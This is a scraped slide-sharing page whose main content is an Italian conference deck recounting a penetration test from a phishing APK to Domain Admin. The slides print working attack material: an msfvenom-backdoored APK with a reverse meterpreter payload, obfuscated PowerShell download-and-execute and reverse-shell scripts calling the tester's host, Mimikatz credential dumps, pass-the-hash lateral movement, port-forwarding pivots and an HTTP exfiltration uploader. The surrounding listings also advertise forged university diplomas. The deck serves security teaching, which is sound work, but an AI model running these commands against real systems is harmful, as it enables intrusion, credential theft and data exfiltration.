fog or: How I Learned to Stop Worrying and Love the Cloud
Wesley Beary
 
Incident response: Advanced Network Forensics
Incident response: Advanced Network ForensicsIncident response: Advanced Network Forensics
Incident response: Advanced Network Forensics
Napier University
 
Docker Security workshop slides
Docker Security workshop slidesDocker Security workshop slides
Docker Security workshop slides
Docker, Inc.
 
Osol Pgsql
Osol PgsqlOsol Pgsql
Osol Pgsql
Emanuel Calvo
 
Linux administration ii-parti
Linux administration ii-partiLinux administration ii-parti
Linux administration ii-parti
Sehla Loussaief Zayen
 
Automating the Network
Automating the NetworkAutomating the Network
Automating the Network
Puppet
 
How I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine Yard
How I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine YardHow I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine Yard
How I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine Yard
SV Ruby on Rails Meetup
 
Nagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform Enviornment
Nagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform EnviornmentNagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform Enviornment
Nagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform Enviornment
Nagios
 

Similar to Da APK al Golden Ticket (20)

dotCloud and go
dotCloud and godotCloud and go
dotCloud and go
 
Red Hat Forum Tokyo - OpenStack Architecture
Red Hat Forum Tokyo - OpenStack ArchitectureRed Hat Forum Tokyo - OpenStack Architecture
Red Hat Forum Tokyo - OpenStack Architecture
 
Swift Install Workshop - OpenStack Conference Spring 2012
Swift Install Workshop - OpenStack Conference Spring 2012Swift Install Workshop - OpenStack Conference Spring 2012
Swift Install Workshop - OpenStack Conference Spring 2012
 
Pycon - Python for ethical hackers
Pycon - Python for ethical hackers Pycon - Python for ethical hackers
Pycon - Python for ethical hackers
 
Openstack 101
Openstack 101Openstack 101
Openstack 101
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande Modem
 
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
 
NetDevOps Developer Environments with Vagrant @ SCALE16x
NetDevOps Developer Environments with Vagrant @ SCALE16xNetDevOps Developer Environments with Vagrant @ SCALE16x
NetDevOps Developer Environments with Vagrant @ SCALE16x
 
Deploying Percona XtraDB Cluster in Openshift
Deploying Percona XtraDB Cluster in OpenshiftDeploying Percona XtraDB Cluster in Openshift
Deploying Percona XtraDB Cluster in Openshift
 
Puppet Camp 2012
Puppet Camp 2012Puppet Camp 2012
Puppet Camp 2012
 
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
 
R-House (LSRC)
R-House (LSRC)R-House (LSRC)
R-House (LSRC)
 
fog or: How I Learned to Stop Worrying and Love the Cloud
fog or: How I Learned to Stop Worrying and Love the Cloudfog or: How I Learned to Stop Worrying and Love the Cloud
fog or: How I Learned to Stop Worrying and Love the Cloud
 
Incident response: Advanced Network Forensics
Incident response: Advanced Network ForensicsIncident response: Advanced Network Forensics
Incident response: Advanced Network Forensics
 
Docker Security workshop slides
Docker Security workshop slidesDocker Security workshop slides
Docker Security workshop slides
 
Osol Pgsql
Osol PgsqlOsol Pgsql
Osol Pgsql
 
Linux administration ii-parti
Linux administration ii-partiLinux administration ii-parti
Linux administration ii-parti
 
Automating the Network
Automating the NetworkAutomating the Network
Automating the Network
 
How I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine Yard
How I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine YardHow I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine Yard
How I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine Yard
 
Nagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform Enviornment
Nagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform EnviornmentNagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform Enviornment
Nagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform Enviornment
 

Recently uploaded

APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
APNIC
 
Gen Z and the marketplaces - let's translate their needs
Gen Z and the marketplaces - let's translate their needsGen Z and the marketplaces - let's translate their needs
Gen Z and the marketplaces - let's translate their needs
Laura Szabó
 
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
fovkoyb
 
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
uehowe
 
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalmanuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
wolfsoftcompanyco
 
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
cuobya
 
Should Repositories Participate in the Fediverse?
Should Repositories Participate in the Fediverse?Should Repositories Participate in the Fediverse?
Should Repositories Participate in the Fediverse?
Paul Walk
 
留学学历(UoA毕业证)奥克兰大学毕业证成绩单官方原版办理
留学学历(UoA毕业证)奥克兰大学毕业证成绩单官方原版办理留学学历(UoA毕业证)奥克兰大学毕业证成绩单官方原版办理
留学学历(UoA毕业证)奥克兰大学毕业证成绩单官方原版办理
bseovas
 
一比一原版(LBS毕业证)伦敦商学院毕业证成绩单专业办理
一比一原版(LBS毕业证)伦敦商学院毕业证成绩单专业办理一比一原版(LBS毕业证)伦敦商学院毕业证成绩单专业办理
一比一原版(LBS毕业证)伦敦商学院毕业证成绩单专业办理
eutxy
 
Understanding User Behavior with Google Analytics.pdf
Understanding User Behavior with Google Analytics.pdfUnderstanding User Behavior with Google Analytics.pdf
Understanding User Behavior with Google Analytics.pdf
SEO Article Boost
 
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
vmemo1
 
Explore-Insanony: Watch Instagram Stories Secretly
Explore-Insanony: Watch Instagram Stories SecretlyExplore-Insanony: Watch Instagram Stories Secretly
Explore-Insanony: Watch Instagram Stories Secretly
Trending Blogers
 
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
zyfovom
 
Ready to Unlock the Power of Blockchain!
Ready to Unlock the Power of Blockchain!Ready to Unlock the Power of Blockchain!
Ready to Unlock the Power of Blockchain!
Toptal Tech
 
Search Result Showing My Post is Now Buried
Search Result Showing My Post is Now BuriedSearch Result Showing My Post is Now Buried
Search Result Showing My Post is Now Buried
Trish Parr
 
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
ysasp1
 
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
uehowe
 
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
zoowe
 
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
xjq03c34
 
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
bseovas
 

Recently uploaded (20)

APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
 
Gen Z and the marketplaces - let's translate their needs
Gen Z and the marketplaces - let's translate their needsGen Z and the marketplaces - let's translate their needs
Gen Z and the marketplaces - let's translate their needs
 
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
 
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
 
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalmanuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
 
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
 
Should Repositories Participate in the Fediverse?
Should Repositories Participate in the Fediverse?Should Repositories Participate in the Fediverse?
Should Repositories Participate in the Fediverse?
 
留学学历(UoA毕业证)奥克兰大学毕业证成绩单官方原版办理
留学学历(UoA毕业证)奥克兰大学毕业证成绩单官方原版办理留学学历(UoA毕业证)奥克兰大学毕业证成绩单官方原版办理
留学学历(UoA毕业证)奥克兰大学毕业证成绩单官方原版办理
 
一比一原版(LBS毕业证)伦敦商学院毕业证成绩单专业办理
一比一原版(LBS毕业证)伦敦商学院毕业证成绩单专业办理一比一原版(LBS毕业证)伦敦商学院毕业证成绩单专业办理
一比一原版(LBS毕业证)伦敦商学院毕业证成绩单专业办理
 
Understanding User Behavior with Google Analytics.pdf
Understanding User Behavior with Google Analytics.pdfUnderstanding User Behavior with Google Analytics.pdf
Understanding User Behavior with Google Analytics.pdf
 
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
 
Explore-Insanony: Watch Instagram Stories Secretly
Explore-Insanony: Watch Instagram Stories SecretlyExplore-Insanony: Watch Instagram Stories Secretly
Explore-Insanony: Watch Instagram Stories Secretly
 
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
 
Ready to Unlock the Power of Blockchain!
Ready to Unlock the Power of Blockchain!Ready to Unlock the Power of Blockchain!
Ready to Unlock the Power of Blockchain!
 
Search Result Showing My Post is Now Buried
Search Result Showing My Post is Now BuriedSearch Result Showing My Post is Now Buried
Search Result Showing My Post is Now Buried
 
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
 
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
 
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
 
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
 
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
 

Da APK al Golden Ticket

  • 1. Da APK al Golden Ticket Storia di un penetration test Andrea Pierini, Giuseppe Trotta
  • 2. Chi siamo ➔ Andrea Pierini: IT Architect & Security Manager, con la passione del pentesting - il vecchio saggio ➔ Giuseppe Trotta: Penetration tester - il figliol prodigo
  • 5. ➔ Background ➔ Da APK a shell sul server WSUS ➔ Lateral Movement(s) & Exploitation ➔ Exfiltration ➔ Golden Ticket ➔ Persistenza Agenda
  • 6. Storia di un pentest Partendo da una campagna di phishing, dopo aver effettuato spear phishing sulla segretaria e sul suo smartphone, ci siamo intrufolati nella rete aziendale e, attraverso “movimenti laterali” e “privilege escalation”, siamo diventati amministratori del dominio, abbiamo sottratto file sensibili e attuato tecniche di persistence
  • 8. Going NativeGoing Native ... https://www.flickr.com/photos/tkmckamy/4521015190
  • 9. Background ➔ Vulnerability Assessment & Penetration Test Black Box ➔ Social engineering consentito ➔ “Rubare” informazioni riservate
  • 10. Background ➔ Durante i colloqui preliminari, abbiamo chiesto accesso al Wi-Fi “GUEST”. ➔ Credenziali valide per 1 giorno ➔ Tanti dispositivi collegati … i dipendenti?
  • 11. Phishing campaign ➔ Buona la prima? No, ma la segretaria … ¯_(ツ)_/¯
  • 12. ➔ … il suo smartphone e la figlia ... Phishing campaign $ msfvenom -x puzzle.apk -p android/meterpreter/reverse_tcp LHOST=<IL_NOSTRO_IP> LPORT=443 -o /var/www/html/puzzle.apk
  • 14. Il mattino seguente... [*] Meterpreter session 3 opened (█████:443 -> █████:51990) meterpreter> ipconfig … Interface 9 ============ Name : wlan0 - wlan0 Hardware MAC : 20:6e:9c:75:94:ba IPv4 Address : 10.18.112.46 IPv4 Netmask : 255.255.255.0 … meterpreter> shell Process 1 created.Channel 1 created. getprop net.dns1 192.168.178.196
  • 15. Network discovery ➔ Scan via ProxyChains exploit(handler) > route add 192.168.178.0 255.255.255.0 3 exploit(handler) > use auxiliary/server/socks4a … # proxychains nmap -sn 192.168.178.0/24 Nmap scan report for 192.168.178.195 Host is up (0.15s latency). Nmap scan report for 192.168.178.196 Host is up (0.22s latency). … msf > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set rhosts 192.168.178.195,196 … [*] 192.168.178.195: - 192.168.178.195:80 - TCP OPEN [*] 192.168.178.195: - 192.168.178.195:8080 - TCP OPEN … [*] 192.168.178.196: - 192.168.178.196:53 - TCP OPEN …
  • 16. Schema di rete ipotizzato...
  • 17. Il server intranet ➔ Portforwarding ➔ Apache basic-auth bruteforce meterpreter>portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80 meterpreter>portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080 # hydra 127.0.0.1 -s 8002 -L users.txt -P pass.txt -t12 http-get / … [DATA] max 12 tasks per 1 server, overall 64 tasks, 11000 login tries (l:11/p:1000), ~14 tries per task [DATA] attacking service http-get on port 8080 … [8080][http-get] host: 127.0.0.1 login: admin password: password123456 1 of 1 target successfully completed, 1 valid password found
  • 18. Caro Tomcat… ➔ Upload file WAR file (Web-application ARchive): ◆ cmd.jsp ◆ Mimikatz (PS) “offuscato”
  • 19. `Obf`u`s`c""a'tio'"$([char]0x6E)" ➔ Meccanismi di detection molto scarsi ➔ Match di stringhe/comandi ➔ Linguaggio flessibile ➔ RTFM funziona sempre… ➔ Invoke-Obfuscation by Daniel Bohannon ^must read
  • 20. `Obf`u`s`c""a'tio'"$([char]0x6E)" ➔ mimigatto.ps1 Invoke-mimikatz → ChiamaIlGatto DumpCreds → PrendiCroccantini Get-Win32Types → CheTipo32 CallDllMainSc1 → MaChiChiami Win32Functions → IOSFunctions … ➔ Download malware Invoke-Expression(New-Object System.Net.WebClient).DownloadString("https://bit.ly/Ev1l") ↓ `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/Ev1l)
  • 21. Dovevamo far presto… Command: cmd /c set ALLUSERSPROFILE=C:ProgramData ... COMPUTERNAME=SRVINTRANET ... USERDOMAIN=SUPERCOMPANY USERNAME=SRVINTRANET$ Command: cmd /c systeminfo Host Name: SRVINTRANET OS Name: Microsoft Windows Server 2012 R2 Standard OS Version: 6.3.9600 N/A Build 9600 OS Manufacturer: Microsoft Corporation OS Configuration: Member Server OS Build Type: Multiprocessor Free Registered Owner: Windows User … System Manufacturer: VMware, Inc. …
  • 22. Dovevamo far presto… Command: cmd /c nltest /dclist:supercompany Get list of DCs in domain 'supercompany' from 'SRVDC1'. srvdc1.supercompany.local[PDC] [DS]Site: Default-First-Site-Name srvdc2.supercompany.local [DS]Site: Default-First-Site-Name ... The command completed successfully Command: cmd /c dir "c:program files (x86)" Volume in drive C has no label. Volume Serial Number is C050-5A8D Directory of c:program files (x86) 02/25/2017 08:59 AM <DIR> . 02/25/2017 08:59 AM <DIR> .. ... 02/25/2017 08:59 AM <DIR> Symantec ...
  • 23. ➔ Dalla webshell avevamo provato a lanciare una Reverse Shell (PS) ➔ Nulla di fatto! ➔ Evidentemente SRVINTRANET non aveva accesso a internet Reverse shell #1 Command: cmd /c powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient('IL_NOSTRO_IP',443); $stream=$client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback=(iex $data 2>&1 | Out-String );$sendback2=$sendback+'PS '+(pwd).Path + '> '; $sendbyte=([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush() };$client.Close()"
  • 24. Piano B: reperire le credenziali ➔ Mimigatto, PrendiCroccantini! Command: cmd /c powershell -nop -exec bypass -command "import-module c:tomcatwebappscmdwarfilesmimigatto.ps1; ChiamaIlGatto -PrendiCroccantini" .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##. "A La Vie, A L'Amour" ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) # sekurlsa::logonpasswords ... [00000003] Primary * Username : Administrator * Domain : SRVINTRANET * NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX * SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX ...
  • 25. Piano C: No admin logged-in? No problem! ➔ Con i privilegi di SYSTEM era facile reperire gli hash di local Administrator Command: cmd /c powershell -nop -exec bypass -command "import-module c:tomcatwebappscmdwarfilesmimigatto.ps1; ChiamaIlGatto -command '"lsadump::lsa /name:administrator /inject"'" .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##. "A La Vie, A L'Amour" ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) # lsadump::lsa /name:administrator /inject Domain : SRV2012 / S-1-5-21-938204560-2839928776-2225904511 RID : 000001f4 (500) User : administrator * Primary LM : NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
  • 26. Lateral Movement(s) & Exploitation
  • 27. Lateral Reconnaissance: alla ricerca di internet ➔ Possibili bersagli: SRVWSUS e SRVAV ◆ Uno di loro doveva uscire su Internet ➔ E poi quel SRVFILE1 … Command: cmd /c net view Server Name Remark ------------------------------------------------- SRVDC1 Domain controller PDC SRVDC2 Domain Controller SRVWSUS Server WSUS SRVAV Server AV SRVFILE1 File Server ...
  • 28. Lateral Movement: SRVWSUS ➔ SRVWSUS accede ad Internet? ➔ Le hash catturate valgono su SRVWSUS? ➔ Pass-the-Hash con PS, si può? ◆ SMBExec.ps1 ◆ WMIExec.ps1 https://github.com/Kevin-Robertson/Invoke-TheHash
  • 29. Lateral Movement: SRVWSUS ➔ Intanto sul nostro web server: $ cat r1.ps1 function Invoke-r1 { $client = New-Object Net.Sockets.TCPClient('NOSTRO_IP',443) $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() }
  • 30. Lateral Movement: SRVWSUS ➔ Tramite Tomcat manager: upload di SMBExec.ps1 con l’autorun in coda: … Invoke-SMBExec -Target <SRVWSUS_IP> -Username Administrator -Hash 604603ab105adc8XXXXXXXXXXXXXXXXX -Command "powershell `"IEX(New-Object Net.WebClient).DownloadString(`'http://NOSTRO_IP/r1.ps1`'); Invoke-r1`"" ➔ Sulla nostra macchina: nc -lvp 443 ➔ Dalla webshell: Command: cmd /c powershell -nop -exec bypass -f c:tomcatwebappscmdwarfilessmbexec.ps1
  • 31. SRVWSUS: Finalmente una shell “decente” # nc -lvvp 443 connect to <NOSTRO_IP> from <COMPANY_PUBLIC_IP> 50341 PS C:Windowssystem32> whoami nt authoritysystem
  • 33. SRVWSUS: Alla ricerca di nuove credenziali ➔ E chi era questo utente di dominio “adm.arazzi”? PS C:tmp>iex (New-Object Net.WebClient).DownloadString('http://NOSTRO_IP/mimigatto.ps1'); ChiamaIlGatto -PrendiCroccantini mimikatz(powershell) # sekurlsa::logonpasswords Authentication Id : 0 ; 749566 (00000000:000b6ffe) Session : Interactive from 2 User Name : adm.arazzi Domain : SUPERCOMPANY Logon Server : SRVDC1 Logon Time : 9/11/2016 10:23:28 AM SID : S-1-5-21-3534665177-2148510708-2241433719-1001 msv : [00000003] Primary * Username : adm.arazzi * Domain : SUPERCOMPANY * NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX * SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX
  • 34. ➔ Un target interessante? Farà parte dei Domain Administrators? ➔ Come verificarlo? ➔ Pass-the-Hash con Mimikatz! SRVWSUS: adm.arazzi
  • 35. SRVWSUS: adm.arazzi PS c:tmp>cmd /c echo net user adm.arazzi /domain ^> c:tmpwhoisarazzi.txt > whoisarazzi.bat PS c:tmp>iex(New-Object Net.WebClient).DownloadString('http://NOSTRO_IP/mimigatto.ps1'); ChiamaIlGatto -command '"sekurlsa::pth /user:adm.arazzi /domain:supercompany /ntlm:446687c38d831f4XXXXXXXXXXXXXXXXX /run:c:tmpwhoisarazzi.bat"'
  • 36. SRVWSUS: adm.arazzi PS c:tmp>type whoisarazzi.txt The request will be processed at a domain controller for domain supercompany.local. User name adm.arazzi Full Name antonio razzi Comment :-) User's comment Country/region code 000 (System Default) Account active Yes Account expires Never (..) Local Group Memberships *Administrators Global Group memberships *Group Policy Creator *Domain Users *Domain Admins *Schema Admins *Enterprise Admins
  • 37. Lateral Movement: SRVFILE1 ➔ SRVWSUS diventa il pivot per accedere al FileServer: ➔ Su SRVWSUS download di una nuova reverse shell (attenzione all'IP!) PS c:tmp>netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=443 connectaddress=NOSTRO_IP PS c:tmp>IEX(New-Object Net.WebClient).DownloadFile('http://NOSTRO_IP/r2.ps1','c:tmpr2.ps1') $ cat r2.ps1 ... $client = New-Object System.Net.Sockets.TCPClient('<SRVWSUS_IP>',8888) ..
  • 38. Lateral Movement: SRVFILE1 ➔ Download & Exec di HTTP.ps1, un mini server HTTP PS c:tmp>type http.ps1 # http.ps1 start-job { # will execute in bg $p="c:tmp" $H=New-Object Net.HttpListener $H.Prefixes.Add("http://+:8001/") $H.Start() ... PS c:tmp>IEX(New-Object Net.WebClient).DownloadFile('http://NOSTRO_IP/http.ps1','c:tmphttp.ps1'); .http.ps1 Id Job ... -- --- 6 Job6 ...
  • 39. Lateral Movement: SRVFILE1 ➔ Alternativa a SMBExec? WMIExec! ➔ Auto-invoke alla fine, ovviamente PS c:tmp> IEX (New-Object Net.WebClient).DownloadFile('http://NOSTRO_IP/wmiexec.ps1','c:tmpwmiexec.ps1') Invoke-WMIExec -Target SRVFILE1_IP -Domain SUPERCOMPANY -Username adm.razzi -Hash 446687c38d831f4XXXXXXXXXXXXXXXXX -Command "powershell `"IEX (New-Object Net.WebClient).DownloadString(`'http://SRVWSUS_IP:80001/r2.ps1`'); Invoke-r2`""
  • 41. Lateral Movement: SRVFILE1 ➔ Sulla nostra macchina: nc -lvp 443 ➔ Su SRVWSUS: PS C:tmp> .wmiexec.ps1 Command executed with process ID 4756 on SRVFILE1_IP
  • 42. Lateral Movement: SRVFILE1 ➔ Et voilà! # nc -lvp 443 connect to NOSTRO_IP from <COMPANY_PUBLIC_IP> 49190 PS C:Windowssystem32> whoami supercompanyadm.arazzi
  • 43. Checkpoint: situazione shell ➔ 2 reverse shell in PowerShell: ◆ Su SRVWSUS siamo SYSTEM ◆ Su SRVFILE1 via SRVWSUS siamo Domain Administrator!!
  • 44. ➔ Grazie alla shell su SRVFILE1 i dati sensibili ci stavano aspettando: ➔ Come fare exfiltration? ➔ Tentativo #1: Exfiltration via FTP Fallito Exfiltration Directory: F:FinanzaRiservato Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 9/24/2016 2:20 AM 164468 Supersecret.docx -a--- 5/29/2016 6:41 PM 12288 Bilancio.xlsx …
  • 45. Exfiltration ➔ Ricordate KISS? Upload via HTTP sul nostro server? ➔ Per il client? Upload.ps1 http://blog.majcica.com/2016/01/13/powershell-tips-and-tricks-multipartform-data-requests/ <?php // index.php $fname = @$_FILES['fname']['name']; $fname_loc = @$_FILES['fname']['tmp_name']; echo (@move_uploaded_file($fname_loc,$fname))?"DONE":"ERROR";
  • 46. Exfiltration ➔ A questo punto occorreva un nuovo portforward su SRVWSUS ➔ Download upload.ps1 su SRVFILE1 via SRVWSUS # [SRVFILE1 <-> SRVWSUS:8889 <-> ATTACKER:80] interface portproxy add v4tov4 listenport=8889 listenaddress=0.0.0.0 connectport=80 connectaddress=NOSTRO_WEB_SERVER PS C:tmp> (New-Object Net.WebClient).DownloadFile('http://SRVWSUS:8889/upload.ps1','c:tmpupload.ps1')
